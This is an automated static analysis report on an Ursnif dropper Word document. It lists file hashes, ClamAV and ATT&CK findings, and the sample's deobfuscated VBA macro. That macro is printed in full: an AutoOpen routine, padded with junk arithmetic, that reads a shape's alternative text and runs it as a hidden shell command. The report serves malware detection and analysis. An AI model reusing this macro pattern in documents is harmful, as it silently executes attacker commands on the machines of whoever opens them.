Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 7ffeeda15eabc339…

MALICIOUS

Office (OLE)

68.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: ce758252e88019105a7158d60982c552 SHA-1: 79dcfd47d5d709418e85e6128b1b82597abdefca SHA-256: 7ffeeda15eabc33986b897e59004b017960e5ac96c16edc44ceef198edf60d37
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0. Static analysis revealed a VBA macro with an AutoOpen subroutine. This macro uses Interaction.Shell to execute a command, likely to download and run a second-stage payload. The presence of the Ursnif signature strongly suggests this family.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1324 bytes
SHA-256: 0ce3a514373673d552d2030ced69d3cfe358ba1f278b4f657632d0cadd49a37b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lsorefy"
Function lcadorukun()



Dim LSJZOCa As Integer
Dim IwedqXsH As Long
LSJZOCa = 6484# - 3801#
Dim LAcDBzSK As Variant
LAcDBzSK = LSJZOCa - 6837#

Dim EGvBmh As Integer
Dim wcuwuqumiki As Long
EGvBmh = 4592# - 9665#
Dim gurTPz As Variant
gurTPz = EGvBmh - 9115#





Set lcadorukun = ActiveDocument.Shapes(2)

Dim bkifyk As Integer
Dim qSCWTbtD As Long
bkifyk = 7157# - 9656#
Dim IhWgo As Variant
IhWgo = bkifyk - 5583#



End Function
Sub AutoOpen()







Set DYEFyU = lcadorukun

zcuci = lcadorukun.AlternativeText

Dim bxibyxopi As Integer
Dim dxijas As Long
bxibyxopi = 4750# - 1352#
Dim wxoxusu As Variant
wxoxusu = bxibyxopi - 3022#

Dim kpaxewu As Integer
Dim VNdTFbjn As Long
kpaxewu = 8706# - 4934#
Dim xcojomigifo As Variant
xcojomigifo = kpaxewu - 9146#

Interaction.Shell@ _
zcuci, vbHide





Dim cbmeknC As Integer
Dim yFNwpctZ As Long
cbmeknC = 1006# - 5012#
Dim rvhSwbF As Variant
rvhSwbF = cbmeknC - 2849#



End Sub